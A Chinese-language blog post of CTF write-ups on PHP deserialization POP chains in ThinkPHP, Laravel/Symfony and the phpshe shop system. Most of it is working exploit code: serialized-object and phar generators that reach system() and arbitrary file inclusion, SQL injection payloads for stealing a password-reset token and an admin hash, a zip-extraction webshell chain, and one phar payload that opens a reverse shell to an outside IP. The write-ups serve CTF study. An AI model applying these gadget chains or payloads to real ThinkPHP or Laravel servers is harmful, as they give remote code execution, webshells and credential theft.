php框架反序列化练习
之前说打算好好锻炼自己的代码审计能力。首先就还是得从php的开始。最近打算把CTF中出现的几个php常见框架的反序列化pop链相关题目做一做。
必备操作:
- PhpStorm
- Ctrl+f 寻找关键词
- double click shift键进行全局搜索
- Ctrl+shift+f 进行完整全局搜索
强网杯 2019 Upload
严格来说并不是传统的tp框架。但是可以锻炼下从现有功能中找利用链的能力。
首先题目本身要点很隐晦。注册登录后只能有一个一次性的上传图片的功能。同时文件名被MD5后储存起来。暂时无从下手。但是随后发现源码泄露www.tar.gz。下下来后是一个tp5的框架。
首先有趣的是,phpstorm打开项目后有两个位置存在断点。一个是反序列化的位置
Index.php中
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}
还有一个析构方法的位置,在 Register.php
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
应该是出题人间接提示我们在反序列化上下手。所以目的就是找到pop链了。
按照目前自己少的可怜的pop链挖掘技术。我的第一步当然是确认题目入口=>$profile
被赋值为我们的cookie的反序列化值。那么首先明确了反序列化数据是可控的。
接下来要做的还是应该先看有无可利用的魔术方法。
首先是题目提示的__destruct()
方法
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
只是执行了一个checker的index方法
于是在profile.php中发现两个常见魔术方法
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
_call 和 _get 两个魔术方法,分别书写了在调用不可调用方法和不可调用成员变量时怎么做。_get 会往except 里找,_call 会调用自身的 name 成员变量所指代的变量所指代的方法。
往往在__destruct
没有特别显眼的RCE函数时,就需要把多个魔术方法搭配起来。比如此处就可以确定,只要这个check是profile类的对象,就可以因为没有index方法而触发call,然后call把index当做name执行相当于执行this->index
然后因为profile不存在index属性而触发get。get就比较直接了,直接在except属性里去找属性。
那么下一步就是,我们要控制except,然后调用profile类中的方法。
仔细审计下源码中其他部分,注意到与我们之前上传图pain功能相关的代码,研究下它怎么工作的:
找到upload_image,
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);//利用
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";//filename
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
立刻发现,它会调用一个copy函数,让我们最后的上传文件名从filename_tmp
到filename
。这两个属性都是我们profile类中可控的。基于之前我们只能上传图片,那么此处如果我们利用这个copy,把上传的图片文件名后缀改为php。我们就相当于拿到了可执行的webshell.
至此,利用pop链就很清晰了。
传入register类序列化数据
=>控制registed属性为false,调用__destruct
=>控制checker成员为profile类。调用不存在index()触发__call()
=>__call处理不存在成员index后进入__get
=>控制__get的参数从index变为img,然后让img去调用upload_image或者直接传upload_image
=>进入函数直接把原来上传的图片路径变为php路径,相当于直接从图片马得到webshell
poc如下:
<?php
namespace app\web\controller;
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
}
class Register
{
public $checker;
public $registed;
}
$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/76d9f00467e5ee6abc3ca60892ef304e/f7f0bbdb094d0b83d7561fc5ec2130d7.png";
$profile->filename = "../public/upload/76d9f00467e5ee6abc3ca60892ef304e/f7f0bbdb094d0b83d7561fc5ec2130d7.php";
$register = new Register();
$register->registed = false;
$register->checker = $profile;
echo urlencode(base64_encode(serialize($register)));
CISCN Laravel1
国赛的题目。上来直接给了一个payload变量等着传,还提示源码。所以就是单纯的找可利用的pop链了。
按着网上的wp姑且把几条链都试了下,感觉审计代码真的很有意思。也进一步提醒我们反序列化漏洞的危害之大。
POPChain1
从之前的额经验我们明白,要入手还是得从__destruct()
这种调用条件不太苛刻的魔术方法入手。
double click shift键可以在phpstorm全局搜索关键字。
于是找到第一个类TagAwareAdapter
跟进commit中的
invalidTags
看到这样的代码然后确认了下,pool是构造方法中就已经确认的属性。即可控属性。但注意的是,构造方法是这样的。
public function __construct(AdapterInterface $itemsPool, AdapterInterface $tagsPool = null, float $knownTagVersionsTtl = 0.15){
$this->pool = $itemsPool;
......
}
即pool必须是实现了AdapterInterface 这一接口的对象。既然如此,这个条件就被约束了,但这似乎更利于我们寻找符合条件的类:
实现了上面的接口,并且可以调用saveDeferred方法。
那么全局搜搜这一方法。会发现仍旧有多个符合条件的类,我们先找符合条件的一个看看
PhpArrayAdapter
还调用了initialize方法,于是跟进initialize方法。找到PhpArrayTrait.php
发现了incude!于是我们的pop链终于可以以达成文件包含为最终目的了。基于file可控。剩下的就是编写poc了。
<?php
namespace Symfony\Component\Cache{
final class CacheItem{
}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $file="/flag";
}
class TagAwareAdapter
{
private $deferred = [];
private $pool;
public function __construct()
{
$this->deferred=array("abc"=>new CacheItem());
$this->pool=new PhpArrayAdapter();
}
}
$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}
梳理下以上poc的书写流程。
先把我们的pop链整理下
__destruct()==> (TagAwareAdapter)
commit()==>
invalidtags()==>
this->pool==>
saveDeferred()==> (PhpArrayAdapter)
initialize()==>文件包含
其中首先注意,入口是TagAwareAdapter。其命名空间是namespace Symfony\Component\Cache\Adapter,同时它use了
Symfony\Component\Cache\CacheItem.而这是我们saveDeferred方法必须的。所以命名空间确定下来。
然后是TagAwareAdapter,上面的源码已经很明确,$items = $this->deferred
是一个数组,而saveDeferred的参数$item
是数组的键值值。所以确保这点,就能写出poC中TagAwareAdapter的构造方法。
POPChain2
刚刚提到了,既然符合条件调用了saveDeferred方法的类有多个,那其他类是否也有最终达成目的的呢?当然有,假如当时跟进到这一个类
ProxyAdapter
继续跟进doSave(),其中有一个关键代码
($this->setInnerItem)($innerItem, $item);
这个可就非常利于命令执行了。只需前面括号值为system,后面的值为任意命令即可。经确认后发现setInnerItem
与$inneritem
均可控,那么不难得到第二个poc.
<?php
namespace Symfony\Component\Cache;
class CacheItem
{
protected $innerItem = 'cat /flag';
}
namespace Symfony\Component\Cache\Adapter;
class ProxyAdapter
{
private $setInnerItem = 'system';
}
class TagAwareAdapter
{
public $deferred = [];
public function __construct()
{
$this->pool = new ProxyAdapter();
$this->deferred = array('abc' => new \Symfony\Component\Cache\CacheItem);
}
}
$a = new TagAwareAdapter();
echo urlencode(serialize($a));
?>
iamthinking
安洵杯之前的web4.当时对这个pop链一无所知,所以现在来跟着介绍试试看。https://www.freebuf.com/column/221939.html
这道题用到的应该是tp5.2跟tp6.0的pop链。
首先是入口
class Index extends BaseController
{
public function index()
{
echo "<img src='../test.jpg'"."/>";
$paylaod = @$_GET['payload'];
if(isset($paylaod))
{
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value)
{
if(preg_match("/^O/i",$value))
{
die('STOP HACKING');
exit();
}
}
unserialize($paylaod);
}
}
}
这里只需要绕过parse_url就能bypass了。技巧也很简单,只要让它返回false即可。所以构造出错的url///public/?payload=
即可。
接下来看源码了。
全局搜索,在\vendor\topthink\think-orm\src\Model.php找到这个destruct
然后跟进save
需要满足updateData前的这个if:
$this->isEmpth()==false和$this->trigger()==true)以及$this->exists=true
那么就要看isEmpty()了
public function isEmpty(): bool
{
return empty($this->data);
}
只要保证this->data不为空就行。
然后再找到trigger()里,这里不详细提,只需要withEvent=false
就也能返回true.
那么可以继续看updateData了。
很长的一段代码,首先看到getChangedData()
方法,由于$data
是这个函数的返回值,所以得先看看这个函数,在Attribute.php中
$this->force==true
可以直接返回我们可控的data。那么可以看
checkAllowFields()
方法了。主要目的是这个getConnection(),那么就需要field跟schema为空。
这样直接进else>然后看到拼接令this->table.this->suffix,令其中任意一个为类的实例即可触发tostring()方法
这里的代码跟传统的tp6有点区别,不过大致相同。那么后面就是tp5.2的链了。
全局搜索来到这个__toString()
,位于Conversion.php
直接到toArray去找
很长的一段代码,但是利用点其实还在代码后面的getAttr处的。那么就跟进下
回到attribute.php
继续
然后到
getRealFieldName()
这,
protected function getRealFieldName(string $name): string
{
return $this->strict ? $name : Str::snake($name);
}
此时如果$this->strict
为true,方法将返回一路从getAttr传过来的$name
。然后方法继续,最后getData()返回$this->data['$fieldname']
也就是$this->data['$name']
。而这个键值是可控的。
回到getAttr里的getValue():
$value = $closure($value, $this->data);
属于非常敏感的调用了。由于$closure = $this->withAttr[$fieldName];
我们就可以执行
system(“ls”, [$name=>"ls"])
了
system ( string command [, int &return_var ] ) : string参数
command要执行的命令。 return_var如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。
至此算是达成任意命令执行。
这就是完整的一条链了。最后整理下poc:
<?php
namespace think\model\concern {
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["byc" => "system"];
public function get()
{
$this->data = ["byc" => "cat /flag"];
}
}
}
namespace think{
abstract class Model{
use model\concern\Attribute;
use model\concern\Conversion;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $field;
protected $schema;
protected $table;
function __construct(){
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->field = [];
$this->schema = [];
$this->table = true;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
function __construct($obj='')
{
//定义this->data不为空
parent::__construct();
$this->get();
$this->table = $obj;
}
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
}
然后发现还有可以直接用工具生成的链......佩服佩服。这里放下wh1t3p1g大佬的自动生成的链把
<?php
/**
* Created by PhpStorm.
* User: wh1t3P1g
*/
namespace think\model\concern {
trait Conversion{
protected $visible;
}
trait RelationShip{
private $relation;
}
trait Attribute{
private $withAttr;
private $data;
protected $type;
}
trait ModelEvent{
protected $withEvent;
}
}
namespace think {
abstract class Model{
use model\concern\RelationShip;
use model\concern\Conversion;
use model\concern\Attribute;
use model\concern\ModelEvent;
private $lazySave;
private $exists;
private $force;
protected $connection;
protected $suffix;
function __construct($obj)
{
if($obj == null){
$this->data = array("wh1t3p1g"=>"cat /flag");
$this->relation = array("wh1t3p1g"=>[]);
$this->visible= array("wh1t3p1g"=>[]);
$this->withAttr = array("wh1t3p1g"=>"system");
}else{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->data = array("wh1t3p1g"=>[]);
$this->connection = "mysql";
$this->suffix = $obj;
}
}
}
}
namespace think\model {
class Pivot extends \think\Model{
function __construct($obj)
{
parent::__construct($obj);
}
}
}
namespace {
$pivot1 = new \think\model\Pivot(null);
$pivot2 = new \think\model\Pivot($pivot1);
echo urlencode(serialize($pivot2));
}
护网杯 2018 easy_laravel
这题真心有难度。而且还挺麻烦。buuoj上的环境是apache也在有些地方给我带来了困扰。不过最后做完还是收获挺大的。
需要注意不要照抄网上的wp。自己思考。不然第一第二步都做出不来。
首先要先composer install一下,再开始审计源码
POPChain 1
php artisan route:list
查看路由
得到几个有趣的中间件
Laravel的中间件,现在还不太懂。大概理解是写好特定功能的php文件,可以命令行直接生成。
例如,Laravel 内置了一个中间件来验证用户是否经过认证(如登录),如果用户没有经过认证,中间件会将用户重定向到登录页面,而如果用户已经经过认证,中间件就会允许请求继续往前进入下一步操作。
app/Http/Middleware/AdminMiddleware.php
public function handle($request, Closure $next)
{
if ($this->auth->user()->email !== 'admin@qvq.im') {
return redirect(route('error'));
}
return $next($request);
}
有了一个邮箱。
app/Http/Controllers/NoteController.php
public function index(Note $note)
{
$username = Auth::user()->name;
$notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'");
return view('note', compact('notes'));
}
note这用户名存在sql注入漏洞。但是看到
database/factories/ModelFactory.php
$factory->define(App\User::class, function (Faker\Generator $faker) {
static $password;
return [
'name' => '4uuu Nya',
'email' => 'admin@qvq.im',
'password' => bcrypt(str_random(40)),
'remember_token' => str_random(10),
];
});
密码被加密,因此不能被注入出来。但是似乎可以搞token.
留意到路由里有password/reset/{token}功能
那既然只要token功能能重置面,就可以注token了
不过先去看重置功能,控制器可以看到是use Illuminate\Foundation\Auth\ResetsPasswords;
去跟一下,发现是个trait
而ResetsPasswords是一个trait,其不能实例化,定义它的目的是为了进行代码复用,此时在这里方便在控制器类resetpassword中使用
从上面功能能看出,注入后token是有回显的。找到database/migrations/2014_10_12_100000_create_password_resets_table.php后看到在password_resets表里
字段数有点迷...5个字段才能发现回显在第二列2那。
注册用户名payload:
1' union select 1,(select group_concat(token)),3,4,5 from password_resets -- -
不过需要先发送admin@qvq.im
重置链接,这样库里才会有一个token。
访问链接即可重置密码
登录后看到之前的flag路由功能,访问却显示no flag。所以可能需要其他手段。
题目给出了提示是pop chain | blade expired | blade 模板
在 laravel 中,模板文件是存放在 resources/views 中的,然后会被编译放到 storage/framework/views中,而编译后的文件存在过期的判断。
所以我们要删掉过期文件
这里可以看到计算缓存文件的位置
前面是根目录,后面是sha1计算的值
buu还是apache起的。跟原题不一样......
原题的是/usr/share/nginx/html/resources/views/auth/flag.blade.php
这里apache应该是/var/www/html/storage/framework/views/+sha1(/var/www/html/resources/views/auth/flag.blade.php)
即/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php
看到app/Http/Controllers/UploadController.php里描述的上传功能
其实只是校验了文件头,这给了我们phar反序列化的机会
ctrl+shift+f全局搜索unlink
找到vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php
unlink在析构函数里。调用的是getPath()
去它继承的Swift_ByteStream_FileByteStream类里找
public function getPath()
{
return $this->_path;
}
一个简单可控的参数。而且可以直接构造方法里传入。
加上upload里check功能其实调用了file_exist()
。点击即可触发
注意路径的问题。上面的代码还表示接受一个我们传入的path参数,与文件名进行拼接。所以我们需要给path赋值phar://+文件的路径
UploadController中表明了合法文件会被存到app/public下
namespace App\Http\Controllers;
use Flash;
use Storage;
use Illuminate\Http\Request;
use App\Http\Requests\UploadRequest;
class UploadController extends Controller
{
public function __construct()
{
$this->middleware(['auth', 'admin']);
$this->path = storage_path('app/public');
}
尝试未果...不知道是不是路径原因
因为nginx应该是usr/share/nginx/html/storage/app/public
我不确定apache下是不是/var/www/html/storage/app/public
参考exp,学习dalao使用相对路径传path=phar://../storage/app/public
这样传应该没问题
发现原来上面出错是因为phar生成的序列化数据中关键字没改掉。即要删掉的文件_path的值没换好。但是普通字符串替换就是不成功。
后来发现只用在vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php里改写构造方法
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
{
public function __construct()
{
#$filePath = tempnam(sys_get_temp_dir(), 'FileByteStream');
$filePath = "/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php";
/*
if ($filePath === false) {
throw new Swift_IoException('Failed to retrieve temporary file name.');
}
*/
parent::__construct($filePath, true);
}
poc
<?php
include('autoload.php');
$a =new Swift_ByteStream_TemporaryFileByteStream();
echo(serialize($a));
$p = new Phar('flag.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($a);
$p->addFromString('test.txt','text');
$p->stopBuffering();
?>
学到了通过使用include('autoload.php');
来直接引入类。
生成的phar改为gif上传,最后check触发即可在flag中得到flag
post:
filename=%2Fpoc.gif&_token=zLigmu2xUZYGExMwIWGXRDh2WtEwgixP2BTH1Nwg&path=phar://../storage/app/public
POPChain 2
无意中看到这题居然还有getshell的解法。只能说POPchain的构造真的是无穷的。有太多亟待发掘的可能性了。
https://xz.aliyun.com/t/2901
这里dalao的思路也很简单,直接vendor下搜索__destruct()
跟call_user_func()
于是就找到了这两个文件
vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
<?php
namespace Illuminate\Broadcasting;
use Illuminate\Contracts\Events\Dispatcher;
class PendingBroadcast
{
/**
* The event dispatcher implementation.
*
* @var \Illuminate\Contracts\Events\Dispatcher
*/
protected $events;
/**
* The event instance.
*
* @var mixed
*/
protected $event;
/**
* Create a new pending broadcast instance.
*
* @param \Illuminate\Contracts\Events\Dispatcher $events
* @param mixed $event
* @return void
*/
public function __construct(Dispatcher $events, $event)
{
$this->event = $event;
$this->events = $events;
}
/**
* Handle the object's destruction.
*
* @return void
*/
public function __destruct()
{
$this->events->fire($this->event);
}
/**
* Broadcast the event to everyone except the current user.
*
* @return $this
*/
public function toOthers()
{
if (method_exists($this->event, 'dontBroadcastToCurrentUser')) {
$this->event->dontBroadcastToCurrentUser();
}
return $this;
}
}
vendor/fzaninotto/faker/src/Faker/Generator.php
<?php
namespace Faker;
class Generator
{
protected $providers = array();
protected $formatters = array();
public function addProvider($provider)
{
array_unshift($this->providers, $provider);
}
public function getProviders()
{
return $this->providers;
}
public function seed($seed = null)
{
if ($seed === null) {
mt_srand();
} else {
if (PHP_VERSION_ID < 70100) {
mt_srand((int) $seed);
} else {
mt_srand((int) $seed, MT_RAND_PHP);
}
}
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
/**
* @param string $formatter
*
* @return Callable
*/
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
/**
* Replaces tokens ('{{ tokenName }}') with the result from the token method call
*
* @param string $string String that needs to bet parsed
* @return string
*/
public function parse($string)
{
return preg_replace_callback('/\{\{\s?(\w+)\s?\}\}/u', array($this, 'callFormatWithMatches'), $string);
}
protected function callFormatWithMatches($matches)
{
return $this->format($matches[1]);
}
/**
* @param string $attribute
*
* @return mixed
*/
public function __get($attribute)
{
return $this->format($attribute);
}
/**
* @param string $method
* @param array $attributes
*
* @return mixed
*/
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
public function __destruct()
{
$this->seed();
}
}
不过第二个类我全局看半天都没找到,但是搜详细点还是有查找结果的。可能符合条件太多了吧......
如果已知这两个类,那么POPChain就好办了。
首先是__destruct
作入口,它会调用fire()方法。那么只要令调用的实例为后一个类的对象,即可触发__call()
,format刚好是一个call_user_func_array()
的函数。即可达成命令执行。
对 $this->events->fire($this->event);
events置为Faker\Generator对象
让它找到fire时去赋值system
event置为需要执行的命令即可
poc
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
public function __destruct()
{
$this->events->fire($this->event);
}
}
}
namespace Faker{
class Generator
{
protected $formatters;
function __construct($forma){
$this->formatters = $forma;
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}
}
namespace{
$fs = array("fire"=>"system");
$gen = new Faker\Generator($fs);
$pb = new Illuminate\Broadcasting\PendingBroadcast($gen,"bash -c 'bash -i >& /dev/tcp/174.1.212.23/6666 0>&1'");
$p = new Phar('1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($pb);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('1.phar', '1.gif');
}
?>
然后跟之前一样的方法触发phar反序列化
成功弹到shell
也确认了我们phar触发的绝对路径是/var/www/html/storage/app/public
flag在根目录下。
RoarCTF PHPshe
phpshe1.7商城系统。严格说不算框架算CMS了。前台后台各一个洞最终getshell
前台sql注入
入口在common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
传进的变量会被加上前缀_.
\include\plugin\payment\alipay\pay.php存在sql注入
$order_id = pe_dbhold($_g_id);
$order_id = intval($order_id);
$order = $db->pe_select(order_table($order_id), array('order_id'=>$order_id));
先跟进pe_dbhold()
基本就是转义的作用。
看下order_table
function order_table($id) {
if (stripos($id, '_') !== false) {
$id_arr = explode('_', $id);
return "order_{$id_arr[0]}";
}
else {
return "order";
}
}
如果有下划线的话,把下划线前面的部分拼接到order_
后
最后是进行sql查询的语句pe_select()
那么稍微总结下,我们可控的参数是
$_g_id
然后过滤后以$order_id
进行sql查询。此时表名部分可控。但是传入的where参数array(‘order_id’=>$order_id)
又经过了_dowhere
函数的处理后变为
order_id='$order_id'
($where_arr[] = "`{$k}` = '{$v}'")
所以可注的地方只有表名。那么需要存在一个order_xxx表名的表。选择pe_order_pay
pay`%20where%201=1%20union%20select%201,2,user(),4,5,6,7,8,9,10,11,12%23_
简单测试发现字段1,3都有回显。那就继续注入admin的密码吧。
但是此时发现。上面的注入进行时都是因_
前的语句被截取进sql查询。那么我们接下来进行的语句查询不能含有下划线。说明可能需要无列名注入
pay` where 1=1 union select 1,2,((select a.3 from(select 1,2,3,4,5,6 union select * from admin)a limit 1,1)),4,5,6,7,8,910,11,12%23_
得到密码。md5解码后为altman777
后台getshell
然后进入后台。
通过跟官方源码diff后可以发现出题人手改的位置。这里我就直接进手改的源码分析吧。
public function __destruct()
{
$this->extract(PCLZIP_OPT_PATH, $this->save_path);
}
多出了一个魔术方法。那么不难想到可能存在phar反序列化。
因为这个类大致实现了解压的功能。
那么去找找触发点吧。
/admin.php?mod=moban&act=del
走到moban.php发现
del这个功能下的pe_dirdel调用了is_file()函数。
然后发现品牌管理处存在文件上传。可以上传zip文件,txt文件,jpg文件。
所以思路清楚了。只需上传webshell的zip包。再通过admin.php的phar反序列化触发即可得到解压的webshell。
同时注意到每次进行操作需要token与Referer的设置
所以在触发反序列化时还要带上token与Referer
生成phar的exp:
<?php
class PclZip
{
// ----- Filename of the zip file
var $zipname = '';
// ----- File descriptor of the zip file
var $zip_fd = 0;
// ----- Internal error handling
var $error_code = 1;
var $error_string = '';
// ----- Current status of the magic_quotes_runtime
// This value store the php configuration for magic_quotes
// The class can then disable the magic_quotes and reset it after
var $magic_quotes_status;
var $save_path;
// --------------------------------------------------------------------------------
// Function : PclZip()
// Description :
// Creates a PclZip object and set the name of the associated Zip archive
// filename.
// Note that no real action is taken, if the archive does not exist it is not
// created. Use create() for that.
// --------------------------------------------------------------------------------
function __construct($p_zipname)
{
//--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::PclZip', "zipname=$p_zipname");
// ----- Tests the zlib
// ----- Set the attributes
$this->zipname = $p_zipname;
$this->zip_fd = 0;
$this->magic_quotes_status = -1;
// ----- Return
//--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 1);
return;
}
}
$f=new PclZip("/var/www/html/data/attachment/brand/3.zip");
$f->save_path='/var/www/html/data/';
echo serialize($f);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($f);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
将其改为txt后缀上传。
触发的payload
/admin.php?mod=moban&act=del&token=72843c2cc582359032218f26207b413c&tpl=phar:///var/www/html/data/attachment/brand/5.txt
Referer: http://0d62c387-392f-40ea-8057-7a826b4d55a2.node3.buuoj.cn/admin.php?mod=moban
然后就得到data目录下的webshell了。
坑点主要就是上传的文件会改名。所以要找对正确的绝对路径。